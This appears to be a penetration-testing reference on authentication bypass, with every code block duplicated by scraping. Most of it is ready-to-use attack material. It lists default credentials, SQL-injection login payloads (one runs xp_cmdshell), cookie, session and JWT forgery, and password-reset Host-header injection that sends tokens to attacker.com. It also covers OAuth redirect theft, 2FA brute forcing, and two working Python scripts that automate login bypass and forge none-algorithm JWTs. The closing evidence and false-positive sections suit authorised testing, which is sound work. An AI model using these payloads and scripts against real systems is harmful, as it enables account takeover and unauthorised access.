Authentication Bypass
Authentication bypass allows attackers to gain access without valid credentials. This includes exploiting logic flaws, default credentials, session vulnerabilities, and implementation weaknesses in authentication mechanisms.
Warning
Tools & Resources
Burp Intruder
Parameter fuzzing & brute force
Burp Suite Default Credentials
Always test default credentials first - many systems ship with unchanged defaults.
Common Default Credentials
# Web Applications
admin:admin
admin:password
admin:123456
administrator:administrator
root:root
root:toor
user:user
test:test
guest:guest
# Network Devices
admin:admin (most routers)
cisco:cisco
enable:enable
# Databases
sa: (blank) - SQL Server
root: (blank) - MySQL
postgres:postgres
mongodb: (no auth)
# CMS Systems
admin:admin (WordPress, Joomla)
administrator:admin (Drupal)
# Management Interfaces
admin:admin (Jenkins)
admin:password (Grafana)
elastic:changeme (Elasticsearch)
kibana:changeme (Kibana)# Web Applications
admin:admin
admin:password
admin:123456
administrator:administrator
root:root
root:toor
user:user
test:test
guest:guest
# Network Devices
admin:admin (most routers)
cisco:cisco
enable:enable
# Databases
sa: (blank) - SQL Server
root: (blank) - MySQL
postgres:postgres
mongodb: (no auth)
# CMS Systems
admin:admin (WordPress, Joomla)
administrator:admin (Drupal)
# Management Interfaces
admin:admin (Jenkins)
admin:password (Grafana)
elastic:changeme (Elasticsearch)
kibana:changeme (Kibana)Default Credential Resources
# Online databases
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/
# SecLists default passwords
/usr/share/seclists/Passwords/Default-Credentials/
# Hydra with default creds
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://target# Online databases
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/
# SecLists default passwords
/usr/share/seclists/Passwords/Default-Credentials/
# Hydra with default creds
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://targetSQL Injection Auth Bypass
Classic SQLi Bypass
# Username field payloads
admin'--
admin'#
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
' OR 1=1--
admin' OR '1'='1
admin') OR ('1'='1
# Password field payloads
' OR '1'='1
anything' OR '1'='1'--
x' OR 1=1--
# Combined (username:password)
admin:' OR '1'='1'--
' OR '1'='1:anything
admin'--:anything# Username field payloads
admin'--
admin'#
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
' OR 1=1--
admin' OR '1'='1
admin') OR ('1'='1
# Password field payloads
' OR '1'='1
anything' OR '1'='1'--
x' OR 1=1--
# Combined (username:password)
admin:' OR '1'='1'--
' OR '1'='1:anything
admin'--:anythingDatabase-Specific Payloads
# MySQL
admin'-- -
admin'#
' OR 1=1-- -
' OR 1=1#
# PostgreSQL
admin'--
' OR 1=1--
# Oracle
admin'--
' OR '1'='1'--
# MSSQL
admin'--
' OR 1=1--
'; EXEC xp_cmdshell('whoami')--# MySQL
admin'-- -
admin'#
' OR 1=1-- -
' OR 1=1#
# PostgreSQL
admin'--
' OR 1=1--
# Oracle
admin'--
' OR '1'='1'--
# MSSQL
admin'--
' OR 1=1--
'; EXEC xp_cmdshell('whoami')--Logic Flaw Bypasses
Parameter Manipulation
# Remove password parameter entirely
POST /login
username=admin
# Empty password
username=admin&password=
# Null byte injection
username=admin%00&password=anything
# Array instead of string
username=admin&password[]=
# Type juggling (PHP)
password=0 (may match against hash starting with 0e)
# Boolean manipulation
authenticated=true
isAdmin=1
role=admin# Remove password parameter entirely
POST /login
username=admin
# Empty password
username=admin&password=
# Null byte injection
username=admin%00&password=anything
# Array instead of string
username=admin&password[]=
# Type juggling (PHP)
password=0 (may match against hash starting with 0e)
# Boolean manipulation
authenticated=true
isAdmin=1
role=adminResponse Manipulation
# Intercept response and modify
Original: {"success": false, "error": "Invalid password"}
Modified: {"success": true, "error": ""}
# Change HTTP status code
Original: HTTP/1.1 401 Unauthorized
Modified: HTTP/1.1 200 OK
# Modify redirect
Original: Location: /login?error=invalid
Modified: Location: /dashboard# Intercept response and modify
Original: {"success": false, "error": "Invalid password"}
Modified: {"success": true, "error": ""}
# Change HTTP status code
Original: HTTP/1.1 401 Unauthorized
Modified: HTTP/1.1 200 OK
# Modify redirect
Original: Location: /login?error=invalid
Modified: Location: /dashboardForced Browsing
# Try accessing protected pages directly
/admin
/dashboard
/admin/users
/api/admin/users
/internal/config
# Access functions without auth
/api/users/1/delete
/api/admin/settings
/export?format=csv
# Backup/hidden files
/backup/database.sql
/admin.bak
/login.php.bak
/.git/config# Try accessing protected pages directly
/admin
/dashboard
/admin/users
/api/admin/users
/internal/config
# Access functions without auth
/api/users/1/delete
/api/admin/settings
/export?format=csv
# Backup/hidden files
/backup/database.sql
/admin.bak
/login.php.bak
/.git/configSession-Based Attacks
Session Token Manipulation
# Predictable session IDs
Session1: SESS0001
Session2: SESS0002
Try: SESS0000 (admin?)
# Weak session generation
# Base64 encoded user data
eyJ1c2VyIjogImd1ZXN0In0= → {"user": "guest"}
# Modify and re-encode
eyJ1c2VyIjogImFkbWluIn0= → {"user": "admin"}
# MD5 of username
Session: 21232f297a57a5a743894a0e4a801fc3 (md5("admin"))
Try: session of other usernames
# Sequential IDs
session_id=12345 → try 12344, 12346, etc.# Predictable session IDs
Session1: SESS0001
Session2: SESS0002
Try: SESS0000 (admin?)
# Weak session generation
# Base64 encoded user data
eyJ1c2VyIjogImd1ZXN0In0= → {"user": "guest"}
# Modify and re-encode
eyJ1c2VyIjogImFkbWluIn0= → {"user": "admin"}
# MD5 of username
Session: 21232f297a57a5a743894a0e4a801fc3 (md5("admin"))
Try: session of other usernames
# Sequential IDs
session_id=12345 → try 12344, 12346, etc.JWT Token Attacks
# Decode JWT (https://jwt.io)
# Header.Payload.Signature
# Algorithm confusion - change RS256 to HS256
# Sign with public key as HMAC secret
# None algorithm bypass
{"alg": "none", "typ": "JWT"}
# Remove signature (keep trailing dot)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
# Modify claims
{"user": "guest"} → {"user": "admin"}
{"role": "user"} → {"role": "admin"}
{"isAdmin": false} → {"isAdmin": true}
# jwttool commands
python3 jwt_tool.py <token> -T # Tamper mode
python3 jwt_tool.py <token> -X a # Algorithm attacks# Decode JWT (https://jwt.io)
# Header.Payload.Signature
# Algorithm confusion - change RS256 to HS256
# Sign with public key as HMAC secret
# None algorithm bypass
{"alg": "none", "typ": "JWT"}
# Remove signature (keep trailing dot)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
# Modify claims
{"user": "guest"} → {"user": "admin"}
{"role": "user"} → {"role": "admin"}
{"isAdmin": false} → {"isAdmin": true}
# jwttool commands
python3 jwt_tool.py <token> -T # Tamper mode
python3 jwt_tool.py <token> -X a # Algorithm attacksCookie Manipulation
# Base64 encoded cookies
Cookie: user=Z3Vlc3Q= (guest)
Modify: user=YWRtaW4= (admin)
# Serialized objects (PHP)
Cookie: user=O:4:"User":1:{s:4:"name";s:5:"guest";}
Modify: O:4:"User":1:{s:4:"name";s:5:"admin";}
# Simple value cookies
Cookie: role=user → role=admin
Cookie: authenticated=0 → authenticated=1
Cookie: admin=false → admin=true
# URL encoded
Cookie: user=%67%75%65%73%74 (guest)
Modify: %61%64%6d%69%6e (admin)# Base64 encoded cookies
Cookie: user=Z3Vlc3Q= (guest)
Modify: user=YWRtaW4= (admin)
# Serialized objects (PHP)
Cookie: user=O:4:"User":1:{s:4:"name";s:5:"guest";}
Modify: O:4:"User":1:{s:4:"name";s:5:"admin";}
# Simple value cookies
Cookie: role=user → role=admin
Cookie: authenticated=0 → authenticated=1
Cookie: admin=false → admin=true
# URL encoded
Cookie: user=%67%75%65%73%74 (guest)
Modify: %61%64%6d%69%6e (admin)Password Reset Flaws
Token Manipulation
# Predictable reset tokens
/reset?token=1234 → try 1233, 1235
/reset?token=user123 → try admin123
# Token in response
Request reset for attacker → capture token format
Request reset for victim → guess/enumerate token
# Expired token reuse
Save old reset link, may still work
# Token leakage
Check Referer header when clicking reset link
Check URL parameters in analytics# Predictable reset tokens
/reset?token=1234 → try 1233, 1235
/reset?token=user123 → try admin123
# Token in response
Request reset for attacker → capture token format
Request reset for victim → guess/enumerate token
# Expired token reuse
Save old reset link, may still work
# Token leakage
Check Referer header when clicking reset link
Check URL parameters in analyticsHost Header Injection
# Inject attacker domain in Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
...
email=victim@example.com
# Reset link sent to victim contains attacker.com
# Victim clicks → token sent to attacker
# X-Forwarded-Host variation
POST /forgot-password HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: attacker.com
...# Inject attacker domain in Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
...
email=victim@example.com
# Reset link sent to victim contains attacker.com
# Victim clicks → token sent to attacker
# X-Forwarded-Host variation
POST /forgot-password HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: attacker.com
...Parameter Pollution
# Add second email parameter
email=victim@example.com&email=attacker@example.com
# Array injection
email[]=victim@example.com&email[]=attacker@example.com
# CC/BCC injection
email=victim@example.com%0aCc:attacker@example.com
email=victim@example.com%0aBcc:attacker@example.com# Add second email parameter
email=victim@example.com&email=attacker@example.com
# Array injection
email[]=victim@example.com&email[]=attacker@example.com
# CC/BCC injection
email=victim@example.com%0aCc:attacker@example.com
email=victim@example.com%0aBcc:attacker@example.comOAuth/SSO Bypasses
OAuth Misconfigurations
# Open redirect in redirect_uri
redirect_uri=https://legitimate.com/callback/../../../attacker.com/steal
# Redirect URI bypass
redirect_uri=https://legitimate.com.attacker.com/
redirect_uri=https://attacker.com#legitimate.com
redirect_uri=https://legitimate.com@attacker.com
# State parameter issues
# Missing state → CSRF attack
# Predictable state → session fixation
# Scope manipulation
scope=email → scope=email admin# Open redirect in redirect_uri
redirect_uri=https://legitimate.com/callback/../../../attacker.com/steal
# Redirect URI bypass
redirect_uri=https://legitimate.com.attacker.com/
redirect_uri=https://attacker.com#legitimate.com
redirect_uri=https://legitimate.com@attacker.com
# State parameter issues
# Missing state → CSRF attack
# Predictable state → session fixation
# Scope manipulation
scope=email → scope=email adminSAML Attacks
# Signature stripping
Remove Signature element entirely
# Signature wrapping
Add second unsigned assertion with admin claims
# Comment injection in NameID
<NameID>admin@victim.com<!---->.attacker.com</NameID>
# May parse as admin@victim.com
# XXE in SAML response
(see XXE section)# Signature stripping
Remove Signature element entirely
# Signature wrapping
Add second unsigned assertion with admin claims
# Comment injection in NameID
<NameID>admin@victim.com<!---->.attacker.com</NameID>
# May parse as admin@victim.com
# XXE in SAML response
(see XXE section)2FA/MFA Bypasses
Common 2FA Bypass Techniques
# Skip 2FA page
1. Login with valid credentials
2. Intercept redirect to /2fa
3. Change redirect to /dashboard
# Direct page access
Access /dashboard directly after step 1
May already be authenticated
# Response manipulation
{"2fa_required": true} → {"2fa_required": false}
# Null/empty code
code=
code=null
code=000000
# Code reuse
Use same valid code multiple times
Use someone else's valid code
# Brute force (if no rate limiting)
# 6-digit code = 1,000,000 combinations
for i in $(seq 0 999999); do printf "%06d\n" $i; done# Skip 2FA page
1. Login with valid credentials
2. Intercept redirect to /2fa
3. Change redirect to /dashboard
# Direct page access
Access /dashboard directly after step 1
May already be authenticated
# Response manipulation
{"2fa_required": true} → {"2fa_required": false}
# Null/empty code
code=
code=null
code=000000
# Code reuse
Use same valid code multiple times
Use someone else's valid code
# Brute force (if no rate limiting)
# 6-digit code = 1,000,000 combinations
for i in $(seq 0 999999); do printf "%06d\n" $i; doneBackup Code Attacks
# Backup codes often simpler
# May not have rate limiting
# May be predictable
# Race condition
Send multiple 2FA attempts simultaneously
May accept code that should be invalid
# Status code bypass
403 with valid session → manually navigate to protected page# Backup codes often simpler
# May not have rate limiting
# May be predictable
# Race condition
Send multiple 2FA attempts simultaneously
May accept code that should be invalid
# Status code bypass
403 with valid session → manually navigate to protected pageAutomation Scripts
Python - Auth Bypass Tester
#!/usr/bin/env python3
"""
Authentication Bypass Tester
Tests common auth bypass techniques
"""
import requests
import sys
from urllib.parse import urljoin
# SQLi bypass payloads
SQLI_PAYLOADS = [
("admin'--", "anything"),
("admin'#", "anything"),
("' OR '1'='1'--", "' OR '1'='1'--"),
("' OR 1=1--", "anything"),
("admin') OR ('1'='1", "anything"),
("admin'/*", "anything"),
]
# Logic bypass payloads
LOGIC_PAYLOADS = [
{"username": "admin", "password": ""},
{"username": "admin"}, # Missing password
{"username": "admin", "password[]": ""},
{"username": "admin", "password": "0"}, # Type juggling
]
def test_sqli_bypass(url, username_field="username", password_field="password"):
"""Test SQL injection auth bypass"""
print("[*] Testing SQLi auth bypass...")
for user, passwd in SQLI_PAYLOADS:
try:
response = requests.post(
url,
data={username_field: user, password_field: passwd},
allow_redirects=False,
timeout=10
)
# Check for successful login indicators
if response.status_code in [302, 303]:
location = response.headers.get('Location', '')
if 'dashboard' in location or 'admin' in location or 'home' in location:
print(f"[+] BYPASS SUCCESSFUL! User: {user}")
return True
if 'logout' in response.text.lower() or 'welcome' in response.text.lower():
print(f"[+] BYPASS SUCCESSFUL! User: {user}")
return True
except Exception as e:
continue
return False
def test_logic_bypass(url):
"""Test logic flaw auth bypass"""
print("[*] Testing logic flaw bypass...")
for payload in LOGIC_PAYLOADS:
try:
response = requests.post(url, data=payload, allow_redirects=False, timeout=10)
if response.status_code in [302, 303]:
location = response.headers.get('Location', '')
if 'login' not in location and 'error' not in location:
print(f"[+] LOGIC BYPASS! Payload: {payload}")
return True
except:
continue
return False
def test_forced_browsing(base_url):
"""Test direct access to protected pages"""
print("[*] Testing forced browsing...")
protected_paths = [
'/admin', '/dashboard', '/admin/users', '/api/admin',
'/internal', '/manager', '/console', '/admin.php',
'/wp-admin', '/administrator'
]
found = []
for path in protected_paths:
try:
url = urljoin(base_url, path)
response = requests.get(url, allow_redirects=False, timeout=5)
if response.status_code == 200:
print(f"[+] Accessible without auth: {url}")
found.append(url)
elif response.status_code in [403, 401]:
print(f"[*] Protected: {url}")
except:
continue
return found
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <login_url>")
print(f"Example: {sys.argv[0]} http://target.com/login")
sys.exit(1)
login_url = sys.argv[1]
base_url = '/'.join(login_url.split('/')[:3])
print(f"[*] Testing authentication bypass on {login_url}")
print("=" * 50)
test_sqli_bypass(login_url)
test_logic_bypass(login_url)
test_forced_browsing(base_url)#!/usr/bin/env python3
"""
Authentication Bypass Tester
Tests common auth bypass techniques
"""
import requests
import sys
from urllib.parse import urljoin
# SQLi bypass payloads
SQLI_PAYLOADS = [
("admin'--", "anything"),
("admin'#", "anything"),
("' OR '1'='1'--", "' OR '1'='1'--"),
("' OR 1=1--", "anything"),
("admin') OR ('1'='1", "anything"),
("admin'/*", "anything"),
]
# Logic bypass payloads
LOGIC_PAYLOADS = [
{"username": "admin", "password": ""},
{"username": "admin"}, # Missing password
{"username": "admin", "password[]": ""},
{"username": "admin", "password": "0"}, # Type juggling
]
def test_sqli_bypass(url, username_field="username", password_field="password"):
"""Test SQL injection auth bypass"""
print("[*] Testing SQLi auth bypass...")
for user, passwd in SQLI_PAYLOADS:
try:
response = requests.post(
url,
data={username_field: user, password_field: passwd},
allow_redirects=False,
timeout=10
)
# Check for successful login indicators
if response.status_code in [302, 303]:
location = response.headers.get('Location', '')
if 'dashboard' in location or 'admin' in location or 'home' in location:
print(f"[+] BYPASS SUCCESSFUL! User: {user}")
return True
if 'logout' in response.text.lower() or 'welcome' in response.text.lower():
print(f"[+] BYPASS SUCCESSFUL! User: {user}")
return True
except Exception as e:
continue
return False
def test_logic_bypass(url):
"""Test logic flaw auth bypass"""
print("[*] Testing logic flaw bypass...")
for payload in LOGIC_PAYLOADS:
try:
response = requests.post(url, data=payload, allow_redirects=False, timeout=10)
if response.status_code in [302, 303]:
location = response.headers.get('Location', '')
if 'login' not in location and 'error' not in location:
print(f"[+] LOGIC BYPASS! Payload: {payload}")
return True
except:
continue
return False
def test_forced_browsing(base_url):
"""Test direct access to protected pages"""
print("[*] Testing forced browsing...")
protected_paths = [
'/admin', '/dashboard', '/admin/users', '/api/admin',
'/internal', '/manager', '/console', '/admin.php',
'/wp-admin', '/administrator'
]
found = []
for path in protected_paths:
try:
url = urljoin(base_url, path)
response = requests.get(url, allow_redirects=False, timeout=5)
if response.status_code == 200:
print(f"[+] Accessible without auth: {url}")
found.append(url)
elif response.status_code in [403, 401]:
print(f"[*] Protected: {url}")
except:
continue
return found
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <login_url>")
print(f"Example: {sys.argv[0]} http://target.com/login")
sys.exit(1)
login_url = sys.argv[1]
base_url = '/'.join(login_url.split('/')[:3])
print(f"[*] Testing authentication bypass on {login_url}")
print("=" * 50)
test_sqli_bypass(login_url)
test_logic_bypass(login_url)
test_forced_browsing(base_url)JWT Decoder/Encoder (Python)
#!/usr/bin/env python3
"""
JWT Token Analyzer and Modifier
"""
import base64
import json
import sys
import hmac
import hashlib
def base64url_decode(data):
"""Decode base64url"""
padding = 4 - len(data) % 4
data += '=' * padding
return base64.urlsafe_b64decode(data)
def base64url_encode(data):
"""Encode to base64url"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def decode_jwt(token):
"""Decode and display JWT"""
parts = token.split('.')
if len(parts) != 3:
print("[-] Invalid JWT format")
return None
header = json.loads(base64url_decode(parts[0]))
payload = json.loads(base64url_decode(parts[1]))
print("[*] Header:")
print(json.dumps(header, indent=2))
print("\n[*] Payload:")
print(json.dumps(payload, indent=2))
return header, payload
def create_none_alg_token(payload):
"""Create token with 'none' algorithm"""
header = {"alg": "none", "typ": "JWT"}
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
return f"{header_b64}.{payload_b64}."
def modify_payload(token, modifications):
"""Modify JWT payload claims"""
parts = token.split('.')
payload = json.loads(base64url_decode(parts[1]))
for key, value in modifications.items():
payload[key] = value
print(f"[*] Modified payload: {payload}")
return create_none_alg_token(payload)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <jwt_token> [key=value ...]")
print(f"Example: {sys.argv[0]} <token> role=admin isAdmin=true")
sys.exit(1)
token = sys.argv[1]
print("[*] Decoding JWT...")
result = decode_jwt(token)
if result and len(sys.argv) > 2:
modifications = {}
for arg in sys.argv[2:]:
key, value = arg.split('=')
# Try to parse as JSON for booleans/numbers
try:
value = json.loads(value.lower())
except:
pass
modifications[key] = value
print("\n[*] Creating modified token (none algorithm):")
new_token = modify_payload(token, modifications)
print(f"\n{new_token}")#!/usr/bin/env python3
"""
JWT Token Analyzer and Modifier
"""
import base64
import json
import sys
import hmac
import hashlib
def base64url_decode(data):
"""Decode base64url"""
padding = 4 - len(data) % 4
data += '=' * padding
return base64.urlsafe_b64decode(data)
def base64url_encode(data):
"""Encode to base64url"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def decode_jwt(token):
"""Decode and display JWT"""
parts = token.split('.')
if len(parts) != 3:
print("[-] Invalid JWT format")
return None
header = json.loads(base64url_decode(parts[0]))
payload = json.loads(base64url_decode(parts[1]))
print("[*] Header:")
print(json.dumps(header, indent=2))
print("\n[*] Payload:")
print(json.dumps(payload, indent=2))
return header, payload
def create_none_alg_token(payload):
"""Create token with 'none' algorithm"""
header = {"alg": "none", "typ": "JWT"}
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
return f"{header_b64}.{payload_b64}."
def modify_payload(token, modifications):
"""Modify JWT payload claims"""
parts = token.split('.')
payload = json.loads(base64url_decode(parts[1]))
for key, value in modifications.items():
payload[key] = value
print(f"[*] Modified payload: {payload}")
return create_none_alg_token(payload)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <jwt_token> [key=value ...]")
print(f"Example: {sys.argv[0]} <token> role=admin isAdmin=true")
sys.exit(1)
token = sys.argv[1]
print("[*] Decoding JWT...")
result = decode_jwt(token)
if result and len(sys.argv) > 2:
modifications = {}
for arg in sys.argv[2:]:
key, value = arg.split('=')
# Try to parse as JSON for booleans/numbers
try:
value = json.loads(value.lower())
except:
pass
modifications[key] = value
print("\n[*] Creating modified token (none algorithm):")
new_token = modify_payload(token, modifications)
print(f"\n{new_token}")Practice Labs
PortSwigger Authentication Labs
14 labs on auth vulnerabilities
PortSwigger JWT Labs
8 labs on JWT attacks
External Resources
PayloadsAllTheThings - Auth Bypass
Authentication bypass payloads
HackTricks - Login Bypass
Authentication bypass techniques
jwt_tool - GitHub
Comprehensive JWT attack toolkit
CIRT Default Passwords
Default credential database
Evidence Collection
Bypass Proof: Request/response showing access to authenticated functionality without valid credentials (forced browsing, parameter manipulation, verb tampering)
Privilege Escalation: Request as low-privilege user accessing admin-only functionality — show both the user's role and the admin action performed
Default Credentials: Successful login with vendor default credentials — document the product, default username/password combination, and what access was gained
Token Manipulation: Modified JWT, cookie, or session token and the resulting unauthorized access — show the original vs. modified token
CVSS Range: Default credentials: 7.5–9.1 | Horizontal privilege escalation: 6.5–8.0 | Vertical to admin: 8.8–9.8 (Critical)
False Positive Identification
- Cached pages: Getting a 200 response on an admin URL may be a cached page or generic error page — check if the response contains actual authenticated content, not just the page shell.
- API returns data but no action: Reading user data may be acceptable for certain roles — verify whether the access level is truly unauthorized by understanding the permission model.
- Frontend-only restrictions: Disabled buttons or hidden menus are cosmetic — always test the API directly. If the backend rejects the request, it's not a bypass.
- Multi-tenant isolation: Accessing data from a different tenant is a high-severity finding, but accessing your own data via alternative paths is typically benign — confirm the data belongs to a different user.